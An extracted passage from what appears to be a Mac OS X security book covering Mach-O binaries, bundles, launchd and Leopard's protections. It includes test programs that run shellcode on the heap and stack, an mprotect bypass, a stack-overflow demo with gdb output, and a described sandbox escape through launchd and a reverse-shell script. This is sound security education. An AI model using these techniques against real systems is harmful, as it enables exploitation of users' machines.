EXECUTE and there are 14 load commands. The fl ags work out to be MH_
NOUNDEFS | MH_DYLDLINK | MH_TWOLEVEL.

Moving on, we see some of the load commands for this binary.

$ otool -l /bin/ls

/bin/ls:

Load command 0

      cmd LC_SEGMENT

  cmdsize 56

  segname __PAGEZERO

   vmaddr 0x00000000

   vmsize 0x00001000

  fileoff 0

 filesize 0

  maxprot 0x00000000

 initprot 0x00000000

   nsects 0

    flags 0x0

Load command 1

95363c01.indd   1695363c01.indd   16 1/25/09   4:39:28 PM1/25/09   4:39:28 PM



 Chapter 1 ■ Mac OS X Architecture 17

      cmd LC_SEGMENT

  cmdsize 260

  segname __TEXT

   vmaddr 0x00001000

   vmsize 0x00005000

  fileoff 0

 filesize 20480

  maxprot 0x00000007

 initprot 0x00000005

   nsects 3

    flags 0x0

Section

  sectname __text

   segname __TEXT

      addr 0x000023c4

      size 0x000035df

    offset 5060

     align 2^2 (4)

    reloff 0

    nreloc 0

     flags 0x80000400

 reserved1 0

 reserved2 0

…

Bundles

In Mac OS X, shared resources are contained in bundles. Many kinds of 
bundles contain related fi les, but we’ll focus mostly on application and frame-
work bundles. The types of resources contained within a bundle may consist 
of applications, libraries, images, documentation, header fi les, etc. Basically, a 
bundle is a directory structure within the fi le system. Interestingly, by default 
this directory looks like a single object in Finder.

$ ls -ld iTunes.app

drwxrwxr-x  3 root  admin  102 Apr  4 13:15 iTunes.app

This naive view of fi les can be changed within Finder by selecting Show 
Package Contents in the Action menu, but you probably use the Terminal appli-
cation rather than Finder, anyway.

Within application bundles, there is usually a single folder called Contents. 
We’ll give you a quick tour of the QuickTime Player bundle.

$ ls /Applications/QuickTime\ Player.app/Contents/

CodeResources       Info.plist     PkgInfo          Resources

Frameworks          MacOS          PlugIns          version.plist
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The binary itself is within the MacOS directory. If you want to launch the 
program through the command line or a script, you will likely have to refer to 
the following binary, for example.

$ /Applications/QuickTime\ Player.app/Contents/MacOS/QuickTime\ Player

The Resources directory contains much of the noncode, such as images, mov-
ies, and icons. The Frameworks directory contains the associated framework 
bundles, in this case DotMacKit. Finally, there is a number of plist, or property 
list, fi les.

Property-list fi les contain confi guration information. A plist fi le may contain 
user-specifi c or system-wide information. Plist fi les can be either in binary or 
XML format. The XML versions are relatively straightforward to read. The fol-
lowing is the beginning of the Info.plist fi le from QuickTime Player.

<?xml version=”1.0” encoding=”UTF-8”?>

<!DOCTYPE plist PUBLIC “-//Apple//DTD PLIST 1.0//EN” 

“http://www.apple.com/DTDs/PropertyList-1.0.dtd”>

<plist version=”1.0”>

<dict>

        <key>CFBundleDevelopmentRegion</key>

        <string>English</string>

        <key>CFBundleDocumentTypes</key>

        <array>

                <dict>

                        <key>CFBundleTypeExtensions</key>

                        <array>

                                <string>aac</string>

                                <string>adts</string>

                        </array>

                        <key>CFBundleTypeMIMETypes</key>

                        <array>

                                <string>audio/aac</string>

                                <string>audio/x-aac</string>

                        </array>

                        <key>CFBundleTypeName</key>

                        <string>Audio-AAC</string>

                        <key>CFBundleTypeRole</key>

                        <string>Viewer</string>

                        <key>NSDocumentClass</key>

                        <string>QTPMovieDocument</string>

                        <key>NSPersistentStoreTypeKey</key>

                        <string>Binary</string>

                </dict>
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Many of the keys and their meaning can be found at http://developer
.apple.com/documentation/MacOSX/Conceptual/BPRuntimeConfig/Articles/

PListKeys.html. Here is a quick description of those found in the excerpt:

 CFBundleDevelopmentRegion: The native region for the bundle ■

  CFBundleDocumentTypes: The document types supported by the  ■

bundle

  CFBundleTypeExtensions: File extension to associate with this docu- ■

ment type

  CFBundleTypeMIMETypes: MIME type name to associate with this  ■

document type

  CFBundleTypeName: An abstract (and unique) way to refer to the docu- ■

ment type

  CFBundleTypeRole: The application’s role with respect to this docu- ■

ment type; possibilities are Editor, Viewer, Shell, or None

 NSDocumentClass: Legacy key for Cocoa applications ■

 NSPersistentStoreTypeKey: The Core Data type ■

Many of these will be important later, when we’re identifying the attack 
surface in Chapter 3, “Attack Surface.” It is possible to convert this XML plist 
into a binary plist using plutil, or vice versa.

$ plutil -convert binary1 -o Binary.Info.plist Info.plist

$ plutil -convert xml1 -o XML.Binary.Info.plist Binary.Info.plist 

$ file *Info.plist

Binary.Info.plist:     Apple binary property list

Info.plist:            XML 1.0 document text

XML.Binary.Info.plist: XML 1.0 document text

$ md5sum  XML.Binary.Info.plist Info.plist

de13b98c54a93c052050294d9ca9d119  XML.Binary.Info.plist

de13b98c54a93c052050294d9ca9d119  Info.plist

Here we fi rst converted QuickTime Player’s Info.plist to binary format. We then 
converted it back into XML format. The fi le command shows the conversion has 
occurred and md5sum confi rms that the conversion is precisely reversible.

launchd

Launchd is Apple’s replacement for cron, xinetd, init, and others. It was intro-
duced in Mac OS X v10.4 (Tiger) and performs tasks such as initializing systems, 
running startup programs, etc. It allows processes to be started at various times 
or when various conditions occur, and ensures that particular processes are 
always running. It handles daemons at both the system and user level. 
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The systemwide launchd configuration files are stored in the /System/
Library/LaunchAgents and /System/Library/LaunchDaemons directories. 
User-specifi c fi les are in ~/Library/LaunchAgents. The difference between 
daemons and agents is that daemons run as root and are intended to run in 
the background. Agents are run with the privileges of a user and may run in 
the foreground; they can even include a graphical user interface. Launchctl is 
a command-line application used to load and unload the daemons.

The confi guration fi les for launchd are, not surprisingly, plists. We’ll show 
you how one works. Consider the fi le com.apple.PreferenceSyncAgent.plist.

<?xml version=”1.0” encoding=”UTF-8”?>

<!DOCTYPE plist PUBLIC “-//Apple Computer//DTD PLIST 1.0//EN” “http://

www.apple.com/DTDs/PropertyList-1.0.dtd”>

<plist version=”1.0”>

<dict>

        <key>Label</key>

        <string>com.apple.PreferenceSyncAgent</string>

        <key>ProgramArguments</key>

        <array>

                <string>/System/Library/CoreServices/

PreferenceSyncClient.app/Contents/MacOS/PreferenceSyncClient</string>

                <string>--sync</string>

                <string>--periodic</string>

        </array>

        <key>StartInterval</key>

        <integer>3599</integer>

</dict>

</plist>

This plist uses three keys. The Label key identifies the job to launchd. 
ProgramArguments is an array consisting of the application to run as well as 
any necessary command-line arguments. Finally, StartInterval indicates that 
this process should be run every 3,599 seconds, or just more than once an hour. 
Other keys that might be of interest include

  UserName: Indicates the user to run the job as ■

  OnDemand: Indicates whether to run the job when asked or keep it  ■

running all the time

  StartCalendarInterval: Provides cron-like launching of applications at  ■

various times

Why should you care about this? Well, there are a few times it might be handy. 
One is when breaking out of a sandbox, which we’ll discuss later in this chapter. 
Another is in when providing automated processing needed in fuzzing, which 
we’ll discuss more in Chapter 4’s section “In-Memory Fuzzing.” For example, 
consider the following plist fi le.
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<?xml version=”1.0” encoding=”UTF-8”?>

<!DOCTYPE plist PUBLIC “-//Apple Computer//DTD PLIST 1.0//EN” 

“http://www.apple.com/DTDs/PropertyList-1.0.dtd”>

<plist version=”1.0”>

<dict>

        <key>Label</key>

        <string>com.apple.KeepSafariAlive</string>

        <key>ProgramArguments</key>

        <array>

                <string>/Applications/Safari.app/Contents/MacOS/Safari <

/string>

        </array>

        <key>OnDemand</key>

        <false/>

</dict>

</plist>

Save this to a fi le called ~/Library/LaunchAgents/com.apple.KeepSafariAlive.
plist. Then start it up with

$ launchctl load Library/LaunchAgents/com.apple.KeepSafariAlive.plist 

This should start up Safari. Imagine a situation in which fuzzing is occur-
ring while you’re using a Meta refresh tag from Safari’s default home page. 
The problem is that when Safari inevitably crashes, the fuzzing will stop. The 
solution is the preceeding launchd fi le, which restarts it automatically. Give it 
a try, and pretend the fuzzing killed Safari.

$ killall -9 Safari

The launchd agent should respawn Safari automatically. To turn off this 
launchd job, issue the following command:

$ launchctl unload Library/LaunchAgents/com.apple.KeepSafariAlive.plist 

Leopard Security

Since we’re talking about Mac OS X in general, we should talk about security 
features added to Leopard. This section covers some topics of interest from this 
fi eld. Some of these address new features of Leopard while others are merely 
updates to topics relevant to the security of the system. 
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Library Randomization
There are two steps to attacking an application. The fi rst is to fi nd a vulner-
ability. The second is to exploit it in a reliable manner. There seems to be no end 
to vulnerabilities in code. It is very diffi cult to eliminate all the bugs from an 
old code base, considering that a vulnerability may present itself as a missing 
character in one line out of millions of lines of source code. Therefore, many 
vendors have concluded that vulnerabilities are inevitable, but they can at least 
make exploitation diffi cult if not impossible to accomplish. 

Beginning with Leopard, one anti-exploitation method Mac OS X employs 
is library randomization. Leopard randomizes the addresses of most librar-
ies within a process address space. This makes it harder for an attacker to get 
control, as they can not rely on these addresses being the same. Nevertheless, 
Leopard still does not randomize many elements of the address space. Therefore 
we prefer not to use the term address space layout randomization (ASLR) when 
referring to Leopard. In true ASLR, the locations of the executable, libraries, 
heap, and stack are all randomized. As you’ll see shortly, in Leopard only the 
location of (most of) the libraries is randomized. Unfortunately for Apple, just 
as one bug is enough to open a system to attacks, leaving anything not random-
ized is often enough to allow a successful attack, and this will be demonstrated 
in Chapters 7, 8, and 10. By way of comparison, Windows is often criticized for 
not forcing third-party applications (such as Java) to build their libraries to be 
compatible with ASLR. In Leopard, library randomization is not possible even 
in the Apple binaries!

Leopard’s library randomization is not well documented, but critical informa-
tion on the topic can be found in the /var/db/dyld directory. For example, the 
map of where different libraries should be loaded is in the dyld_shared_cache_
i386.map fi le in this directory. An example of this fi le’s contents is provided 
in the code that follows. Obviously, the contents of this fi le will be different 
on different systems; however, the contents do not change upon reboot. This 
fi le may change when the system is updated. The fi le is updated when the 
update_dyld_shared_cache program is run. Since the location in which the 
libraries are loaded is fi xed for extended periods of time for a given system 
across all processes, the library randomization implemented by Leopard does 
not help prevent local-privilege escalation attacks.

/usr/lib/system/libmathCommon.A.dylib

                  __TEXT 0x945B3000 -> 0x945B8000

                  __DATA 0xA0679000 -> 0xA067A000

              __LINKEDIT 0x9735F000 -> 0x9773D000

/System/Library/Frameworks/Quartz.framework/Versions/

A/Frameworks/ImageKit.framework/Versions/A/ImageKit

                  __TEXT 0x945B8000 -> 0x946F0000

                  __DATA 0xA067A000 -> 0xA0682000
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                  __OBJC 0xA0682000 -> 0xA06A6000

                __IMPORT 0xA0A59000 -> 0xA0A5A000

              __LINKEDIT 0x9735F000 -> 0x9773D000

This excerpt from the dyld_shared_cache_i386.map fi le shows where two 
libraries, libmathCommon and ImageKit, will be loaded in memory on this 
system.

To get a better idea of how Leopard’s randomization works (or doesn’t), con-
sider the following simple C program.

#include <stdio.h>

#include <stdlib.h>

void foo(){

        ;

}

int main(int argc, char *argv[]){

        int y;

        char *x = (char *) malloc(128);

        printf(“Lib function: %08x, Heap: %08x, Stack: %08x, Binary: 

%08x\n”, &malloc, x, &y, &foo);

}

This program prints out the address of the malloc() routine located within 
libSystem. It then prints out the address of a malloced heap buffer, of a stack 
buffer, and, fi nally, of a function from the application image. Running this pro-
gram on one computer (even after reboots) always reveals the same numbers; 
however, running this program on different machines shows some differences 
in the output. The following is the output from this program run on fi ve dif-
ferent Leopard computers.

Lib function: 920d7795, Heap: 00100120, Stack: bffff768, Binary: 

00001f66

Lib function: 9120b795, Heap: 00100120, Stack: bffffab8, Binary: 

00001f66

Lib function: 93809795, Heap: 00100120, Stack: bffff9a8, Binary: 

00001f66

Lib function: 93d9e795, Heap: 00100120, Stack: bffff8d8, Binary: 

00001f66

Lib function: 96841795, Heap: 00100120, Stack: bffffa38, Binary: 

00001f66

This demonstrates that the addresses to which libraries are loaded are indeed 
randomized from machine to machine. However, the heap and the applica-
tion image clearly are not, in this case at least. The small amount of variation 
in the location of the stack buffer can be attributed to the stack containing 
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the environment for the program, which will differ depending on the user’s 
confi guration. The stack location is not randomized. So while some basic ran-
domization occurs, there are still signifi cant portions of the memory that are 
not random, and, in fact, are completely predictable. We’ll show in Chapters 7 
and 8 how to defeat this limited randomization.

Executable Heap
Another approach to making exploitation more diffi cult is to make it hard to 
execute injected code within a process—i.e., hard to execute shellcode. To do 
this, it is important to make as much of the process space nonexecutable as 
possible. Obviously, some of the space must be executable to run programs, but 
making the stack and heap nonexecutable can go a long way toward making 
exploitation diffi cult. This is the idea behind Data Execution Prevention (DEP) 
in Windows and W^X in OpenBSD.

Before we dive into an explanation of memory protection in Leopard, we need 
fi rst to discuss hardware protections. For x86 processors, Apple uses chips from 
Intel. Intel uses the XD bit, or Execute Disable bit, stored in the page tables to 
mark areas of memory as nonexecutable. (In AMD processors, this is called the 
NX bit for No Execute.) Any section of memory with the XD bit set can be used 
only for reading or writing data; any attempt to execute code from this memory 
will cause a program crash. In Mac OS X, the XD bit is set on all stack memory, 
thus preventing execution from the stack. Consider the following program that 
attempts to execute where the XD bit is set.

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

char shellcode[] = “\xeb\xfe”;

int main(int argc, char *argv[]){

        void (*f)();

        char x[4];

        memcpy(x, shellcode, sizeof(shellcode));

        f = (void (*)()) x;

        f();

}

Running this program shows that it crashes when it attemps to exeucte on 
the stack

$ ./stack_executable

Segmentation fault

95363c01.indd   2495363c01.indd   24 1/25/09   4:39:28 PM1/25/09   4:39:28 PM



 Chapter 1 ■ Mac OS X Architecture 25

This same program will execute on a Mac running on a PPC chip (although 
the shellcode will be wrong, of course), since the stack is executable in that 
architecture. 

The stack is in good shape, but what about the heap? A quick look with the 
vmmap utility shows that the heap is read/write only.

==== Writable regions for process 12137

__DATA                 00002000-00003000 [    4K] rw-/rwx SM=COW  foo

__IMPORT               00003000-00004000 [    4K] rwx/rwx SM=COW  foo

MALLOC (freed?)        00006000-00007000 [    4K] rw-/rwx SM=PRV  

MALLOC_TINY            00100000-00200000 [ 1024K] rw-/rwx SM=PRV  

DefaultMallocZone_0x100000

__DATA                 8fe2e000-8fe30000 [    8K] rw-/rwx SM=COW  

/usr/lib/dyld

__DATA                 8fe30000-8fe67000 [  220K] rw-/rwx SM=PRV  

/usr/lib/dyld

__DATA                 a052e000-a052f000 [    4K] rw-/rw- SM=COW  

/usr/lib/system/libmathCommon.A.dylib

__DATA                 a0550000-a0551000 [    4K] rw-/rw- SM=COW  

/usr/lib/libgcc_s.1.dylib

shared pmap            a0600000-a07e5000 [ 1940K] rw-/rwx SM=COW  

__DATA                 a07e5000-a083f000 [  360K] rw-/rwx SM=COW  

/usr/lib/libSystem.B.dylib

shared pmap            a083f000-a09ac000 [ 1460K] rw-/rwx SM=COW  

Stack                  bf800000-bffff000 [ 8188K] rw-/rwx SM=ZER  

Stack                  bffff000-c0000000 [    4K] rw-/rwx SM=COW  thread 

0

Leopard does not set the XD bit on any parts of memory besides the stack. It 
is unclear if this is a bug, an oversight, or intentional, but even if the software’s 
memory permissions are set to be nonexecutable, you can still execute anywhere 
except the stack. The following simple program illustrates that point.

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

char shellcode[] = “\xeb\xfe”;

int main(int argc, char *argv[]){

        void (*f)();

        char *x = malloc(2);

        memcpy(x, shellcode, sizeof(shellcode));

        f = (void (*)()) x;

        f();

}
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This program copies some shellcode (in this case a simple infi nite loop) onto 
the heap and then executes it. It runs fi ne, and with a debugger you can verify 
that it is indeed executing within the heap buffer. Taking this one step further, we 
can explicitly set the heap buffer to be nonexecutable and still execute there.

#include <sys/mman.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

char shellcode[] = “\xeb\xfe”;

int main(int argc, char *argv[]){

        void (*f)();

        char *x = malloc(2);

        unsigned int page_start = ((unsigned int) x) & 0xfffff000;

        int ret = mprotect((void *) page_start, 4096, PROT_READ | PROT_

WRITE);

        if(ret<0){ perror(“mprotect failed”); }

        memcpy(x, shellcode, sizeof(shellcode));

        f = (void (*)()) x;

        f();

}

Amazingly, this code still executes fi ne. Furthermore, even the stack protec-
tions can be overwritten with a call to mprotect.

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/mman.h>

char shellcode[] = “\xeb\xfe”;

int main(int argc, char *argv[]){

        void (*f)();

        char x[4];

        memcpy(x, shellcode, sizeof(shellcode));

        f = (void (*)()) x;

        mprotect((void *) 0xbffff000, 4092, PROT_READ | PROT_WRITE | 

PROT_EXEC);

        f();

}

This might be a possible avenue of attack in a return-to-libc attack. So, to 
summarize, within Leopard it is possible to execute code anywhere in a process 
besides the stack. Furthermore, it is possible to execute code on the stack after 
a call to mprotect.
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Stack Protection (propolice)
Although you would think stack overfl ows are a relic of the past, they do still 
arise, as you’ll see in Chapter 7, “Exploring Stack Overfl ows.” An operating sys-
tem’s designers need to worry about making stack overfl ows diffi cult to exploit; 
otherwise, the exploitation of overfl ows is entirely trivial and reliable. With 
this in mind, the GCC compiler that comes with Leopard has an option called 
-fstack-protector that sets a value on the stack, called a canary. This value is 
randomly set and placed between the stack variables and the stack metadata. 
Then, before a function returns, the canary value is checked to ensure it hasn’t 
changed. In this way, if a stack buffer overfl ow were to occur, the important 
metadata stored on the stack, such as the return address and saved stack pointer, 
could not be corrupted without fi rst corrupting the canary. This helps protect 
against simple stack-based overfl ows. Consider the following program.

int main(int argc, char *argv[]){

        char buf[16];

        strcpy(buf, argv[1]);

}

This contains an obvious stack-overfl ow vulnerability. Normal execution 
causes an exploitable crash.

$ gdb ./stack_police

GNU gdb 6.3.50-20050815 (Apple version gdb-768) (Tue Oct  2 04:07:49 UTC 

2007)

Copyright 2004 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you 

are

welcome to change it and/or distribute copies of it under certain 

conditions.

Type “show copying” to see the conditions.

There is absolutely no warranty for GDB.  Type “show warranty” for 

details.

This GDB was configured as “i386-apple-darwin”…

No symbol table is loaded.  Use the “file” command.

Reading symbols for shared libraries … done

(gdb) set args 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

(gdb) r

Starting program: /Users/cmiller/book/macosx-book/stack_police 

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Reading symbols for shared libraries ++. done

Program received signal EXC_BAD_ACCESS, Could not access memory.

Reason: KERN_INVALID_ADDRESS at address: 0x41414141

0x41414141 in ?? ()

(gdb) 
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Compiling with the propolice option, however, prevents exploitation.

$ gcc -g  -fstack-protector  -o stack_police stack_police.c

$ ./stack_police AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Abort trap

In this case, a SIGABRT signal was sent by the function that checks the 
canary’s value. 

This is a good protection against stack-overfl ow exploitation, but it helps 
only if it is used. Leopard binaries sometimes use it and sometimes don’t. 
Observe.

$ nm QuickTime\ Player  | grep stack

         U ___stack_chk_fail

         U ___stack_chk_guard

$ nm /Applications/Safari.app/Contents/MacOS/Safari | grep stack

Here, the nm tool (along with grep) is used to fi nd the symbols utilized in two 
applications: QuickTime Player and Safari. QuickTime Player contains the sym-
bols that are used to validate the stack, whereas Safari does not. Therefore, the 
code within the main Safari executable does not have this protection enabled.

It is important to note that when compiling, this stack protection will be used 
only when the option is used while compiling the specifi c source fi le in which 
the code is located. In other words, within a single application or library, there 
may be some functions with this protection enabled but others without the 
protection enabled.

One fi nal note: It is possible to confuse propolice by smashing the stack com-
pletely. Consider the previous sample program with 5,000 characters entered 
as the fi rst argument.

(gdb) set args `perl -e ‘print “A”x5000’`

(gdb) r

Starting program: /Users/cmiller/book/macosx-book/stack_police `perl -e 

‘print “A”x5000’`

Reading symbols for shared libraries ++. done

Program received signal EXC_BAD_ACCESS, Could not access memory.

Reason: KERN_INVALID_ADDRESS at address: 0x41414140

0x920df690 in strlen ()

(gdb) bt

#0  0x920df690 in strlen ()

#1  0x92101927 in strdup ()

#2  0x92103947 in asl_set_query ()

#3  0x9211703e in asl_set ()

#4  0x92130511 in vsyslog ()

#5  0x921303e8 in syslog ()

#6  0x921b3ef1 in __stack_chk_fail ()

#7  0x00001ff7 in main (argc=1094795585, argv=0xbfffcfcc) at 

stack_police.c:4
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The stack-check failure handler, __stack_chk_fail(), calls syslog syslog(“error 
%s”, argv[0]);. We have overwritten the argv[0] pointer with our own value. This 
does not appear to be exploitable, but unexpected behavior in the stack-check 
failure handler is not a good sign.

Firewall
Theoretically, Leopard offers important security improvements in the form 

of its fi rewall. In Tiger the fi rewall was based on ipfw (IP fi rewall), the BSD 
fi rewall. The ports that are open were controlled by the application’s plist fi les. 
In Leopard, ipfw is still there but always has a single rule.

$ sudo ipfw list

65535 allow ip from any to any

Instead the fi rewall is truly application based and is controlled by /usr/
libexec/ApplicationFirewall/socketfi lterfw and the associated com.apple.nke
.applicationfi rewall driver.

Many issues with Leopard’s firewall prevent it from being a significant 
obstacle to attack. The fi rst is that it is not enabled by default. Obviously, if it is 
not on, it isn’t an issue for an attacker. The next is that it blocks only incoming 
connections. This means any Leopard box that had some services running and 
listening might be protected; however, out-of-the-box Macs don’t have many 
listening processes running, so this isn’t really an issue. If users were to turn 
on something extra, like fi le sharing, they would obviously allow connections 
through the fi rewall, too. As far as exploit payload goes, it is no more diffi cult 
to write a payload that connects out from the compromised host (allowed by 
the fi rewall) than to sit and wait for incoming connections (not allowed by the 
fi rewall). Regardless, it is hard to imagine a scenario in which the Leopard 
fi rewall would actually prevent an otherwise-successful attack from working. 
Instead, it is basically designed to prevent errant third-party applications from 
opening listening ports.

Sandboxing (Seatbelt)
Another security feature introduced in Leopard is the idea of sandboxing appli-
cations with the kernel extension Seatbelt. This mechanism is based on the prin-
ciple that your Web browser probably doesn’t need to access your address book 
and your media player probably doesn’t need to bind to a port. Seatbelt allows 
an application developer to explicitly allow or deny an application to perform 
particular actions. In this way, exploitation of a vulnerability in a particular 
application doesn’t necessarily provide complete access to the system.
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Currently the source code for this mechanism is not available, but by looking 
at and playing around with the XNU source code, it becomes clear how applica-
tion sandboxing works. The documentation for it is scarce to nonexistent. At this 
point, this feature is not intended to be used by anyone but Apple engineers, as 
the following warning indicates.

WARNING: The sandbox rule capabilities and syntax used in this fi le are currently 
an Apple SPI (System Private Interface) and are subject to change at any time 
without notice. Apple may in [the] future announce an offi cial public supported 
sandbox API, but until then Developers are cautioned not to build products that 
use or depend on the sandbox facilities illustrated here.

With one exception, applications that are to be sandboxed need to explicitly 
call the function sandbox_init() to execute within a sandbox. All child processes 
of a sandboxed function also operate within the sandbox. This allows you to 
sandbox applications that do not explicitly call sandbox_init() by executing them 
from within an application in an existing sandbox. One of the parameters to the 
sandbox_init() function is the name of a profi le in which to execute. Available 
profi les include the following.

  kSBXProfi leNoInternet: TCP/IP networking is prohibited. ■

  kSBXProfi leNoNetwork: All sockets-based networking is prohibited. ■

  kSBXProfi leNoWrite: File-system writes are prohibited. ■

  kSBXProfi leNoWriteExceptTemporary: File-system writes are restricted  ■

to the temporary folder /var/tmp and the folder specified by the 
confstr(3) confi guration variable _CS_DARWIN_USER_TEMP_DIR.

  kSBXProfilePureComputation: All operating-system services are  ■

prohibited.

These profi les are statically compiled into the kernel. We will test some of 
these profi les in the following code by using the sandbox-exec command. For 
this command, these profi les are summoned by the terms nointernet, nonet, 
nowrite, write-tmp-only, and pure-computation.

$ sandbox-exec -n nonet /bin/bash

bash-3.2$ ping www.google.com

bash: /sbin/ping: Operation not permitted

bash-3.2$ exit

$ sandbox-exec –n nowrite /bin/bash

bash-3.2$ cat > foo

bash: foo: Operation not permitted

Here we demonstrate starting the bash shell with no networking allowed. We 
omit showing that all the local commands still work and jump straight to try-
ing to use ping, which fails. Exiting out of that sandbox, we try out the nowrite 
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sandbox and demonstrate that we cannot write fi les even though normally it 
would be allowed.

Additionally, it is possible to use a custom-written profi le. Although there is 
no documentation on how to write one of these profi les, there are quite a few 
well-documented examples in the /usr/share/sandbox directory from which 
to start. These fi les are written using syntax from the Scheme programming 
language and describe all the applications currently sandboxed. These applica-
tions include

 krb5kdc ■

 mDNSResponder ■

 mdworker ■

 named ■

 ntpd ■

 portmap ■

 quicklookd ■

 syslogd ■

 update ■

 xgridagentd ■

 xgridagentd_task_nobody ■

 xgridagentd_task_somebody ■

 xgridcontrollerd ■

Take a look at a couple of these fi les. The fi rst is quicklookd.

;;

;; quicklookd - sandbox profile

;; Copyright (c) 2006-2007 Apple Inc.  All Rights reserved.

;;

;; WARNING: The sandbox rules in this file currently constitute 

;; Apple System Private Interface and are subject to change at any time 

and

;; without notice. The contents of this file are also auto-generated and 

not

;; user editable; it may be overwritten at any time.

;;

(version 1)

(allow default)

(deny network-outbound)

(allow network-outbound (to unix-socket))

(deny network*)

(debug deny)
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This policy says that, by default, all actions are allowed except those that 
are specifi cally denied. In this case, network communication is denied, as the 
application doesn’t need it. Therefore, if this process were taken over by a remote 
attacker (say, by providing the victim with a malicious fi le), the process would 
not be able to open a remote socket back to the attacker. We’ll discuss a way 
around this in a moment.

Another example is update.sb.

(version 1)

(debug deny)

(allow process-exec (regex #”^/usr/sbin/update$”))

(allow sysctl-read)

(allow file-read-data file-read-metadata

  (regex #”^/usr/lib/.*\.dylib$”

         #”^/var”

         #”^/private/var/db/dyld/”

         #”^/dev/urandom$”

         #”^/dev/dtracehelper$”))

(deny default)

This policy denies all actions by default and allows only those explicitly 
needed. This is generally a safer approach. In this case, update can read fi les 
only from select directories.

Now take a moment to see how this works on a test program. This program 
takes the name of a fi le from the command line and attempts to open it, read it, 
and print the results to the screen; i.e., it is a custom version of the cat utility.

#include <stdlib.h>

#include <stdio.h>

int main(int argc, char *argv[]){

     int n;

     if(argc != 2){

         printf(“./openfile filename\n”);

         exit(-1);

       }

       char buf[64];

       FILE *f = fopen(argv[1], “r”);

       if(f==NULL){

         perror(“Error opening file:”);

         exit(-1);

       }

       while(n = fread(buf, 1, 64, f)){

         write(1, buf, n); 

       }

       fclose(f);

}
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Consider the simple policy fi le. This fi le allows reading fi les only from /tmp.

(version 1)

(debug deny)

(allow process-exec (regex #”openfile”))

(allow file-read-data file-read-metadata

  (regex #”^/usr/lib/.*\.dylib$”

         #”^/private/tmp” ))

(deny default)

We can see this policy being enforced by trying to read a fi le named hi, which 
contains only the single word “hi.”

$ ./openfile hi

hi

$ sandbox-exec -f openfile.sb ./openfile hi

Error opening file:: Permission denied

$ sandbox-exec -f openfile.sb ./openfile /private/tmp/hi

hi

Here, the sandbox-exec binary is simply a wrapper that sets the sandbox and 
then executes the other program within the sandbox as a child. As you can see, 
the sandbox prevents reading from arbitrary directories, but still allows the 
application to read from the /tmp directory.

It should be noted that sandboxes are not a cure-all. For instance, in the 
quicklookd example, network connections are denied but anything else is per-
mitted. One way to achieve network access is to write a fi le to be executed to 
the fi lesystem—perhaps a script that sets up a reverse shell—then confi gure 
launchd to start it for you. As launchd is not in the sandbox, there will be no 
restrictions on this new application. This is one example of circumventing the 
sandbox. 

Additionally, it is diffi cult to effectively sandbox an application like Safari. 
This application makes arbitrary connections to the Internet, reads and writes 
to a variety of fi les (consider the fi le:// URI handler as well as the fact a user 
can use the Save As option from the pull down menu) and executes a vari-
ety of applications (through various URI handlers such as ssh://, vnc://, etc). 
Therefore, it will be hard to write a policy that signifi cantly hinders an attacker 
who gains control of the Safari process. 

One fi nal note is that the Apple-authored software that runs on Windows 
doesn’t have additional security precautions, such as application sandboxing. 
When you download iTunes for Windows so that you can sync your iPhone, 
you open yourself up to a remote attack against the mDNSResponder running 
on your system without its protective sandbox.
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Computers running Mac OS X use a variety of protocols to communicate with 
other machines. Many of these are common protocols used by all computers—
for example HTTP, FTP, or SMTP. Through the years, Apple has designed some 
protocols that, while often available to other operating systems, are used almost 
exclusively by Macs. An example of such a program is Bonjour. Also, some 
important Mac OS X applications rely on rather obscure protocols such as Real 
Time Streaming Protocol (RTSP). While many applications in the world may 
speak RTSP, Mac OS X is the only major operating system that processes this pro-
tocol by default, out of the box, with both QuickTime Player and Safari. In this 
chapter we take some time to dissect these particular formats and protocols to 
better understand the types of data consumed by the Mac OS X applications.

Bonjour!

Bonjour is an Apple-designed technology that enables computers and devices 
located on the same network to learn about services offered by other computers 
and devices. It is designed such that any Bonjour-aware device can be plugged 
into a TCP/IP network and it will pick an IP address and make other computers 
on that network aware of the services it offers. Bonjour is sometimes referred to 
as Rendezvous, Zero Confi guration, or Zeroconf. There is also wide-area Bonjour 
that involves making Bonjour-like changes to a DNS server. 

C H A P T E R 

2

Mac OS X Parlance
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The Internet Engineering Task Force (IETF) Zero Confi guration Networking 
Working Group specifies three requirements for Zero Configuration 
Networking, such as Bonjour provides.

  Must be able to obtain an IP Address (even without a DHCP  ■

server)

  Must be able to do name-to-address translation (even without a DNS  ■

server)

 Must be able to discover services on the network ■

Get an IP Address
The fi rst requirement is met via RFC 3927, Dynamic Confi guration of IPv4 
Link-Local Addresses (or RFC 2496 for IPv6). The basic idea is to have a device 
try to get an IP address in the range 169.254/16. The device selects an address 
from this range randomly. It then tests whether that IP address is already 
in use by issuing a series of Address Resolution Protocol (ARP) requests for 
that IP address (Figure 2-1). If an ARP reply is received, the device selects 
a new IP address randomly and begins again. Otherwise it has found its IP 
address. There are some additional stipulations for the unusual case in which 
other devices select this device’s IP address or a race condition occurs, but 
the basic idea is simple enough. This RFC is the document that explains why 
when your network is messed up, your computer gets an IP address in the 
range 169.254/16!

Figure 2-1:  A packet capture of a device trying to see whether any other device has the 
address it chose
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In fact, all Macs keep an entry in their routing table in case a device shows 
up on this subnet.

$ netstat -rn | grep 169

169.254            link#4             UCS         0        0    en0

Set Up Name Translation 
The second requirement is met by using Multicast DNS (mDNS). Multicast DNS 
is, not surprisingly, similar to DNS. The mDNS protocol uses the same packet 
format, name structure, and DNS record types as unicast DNS. The primary dif-
ference is that its queries are sent to all local hosts using multicast. By contrast, 
DNS queries are sent to a specifi c, preconfi gured host, the name server. 

Another difference is that DNS listens on UDP port 53, while mDNS lis-
tens on UDP port 5353. Multicast DNS requests use the multicast address 
224.0.0.251. Any machine running Bonjour listens for these multicast requests, 
and, if it knows the answer, it replies, usually to a multicast address. In this way, 
machines on the local network can continuously update their cache without 
making any requests. 

This explains how devices can fi nd out the IP address of named devices, but 
